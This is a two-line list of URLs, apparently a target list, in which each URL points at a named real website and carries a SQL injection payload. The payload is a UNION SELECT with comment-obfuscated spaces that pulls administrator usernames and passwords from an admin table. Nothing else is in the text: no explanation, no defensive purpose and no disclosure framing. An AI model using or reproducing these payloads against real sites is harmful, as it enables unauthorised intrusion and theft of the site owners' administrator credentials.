http://www.nawaonline.com/home.php?id=-2/**/union/**/select/**/1,concat%28username_admin,0x3a,password_admin%29,3,4/**/from/**/admin_log_cp--

http://www.alzoma.net/home.php?id=-2/**/union/**/select/**/1,concat%28username_admin,0x3a,password_admin%29,3,4/**/from/**/admin_log_cp--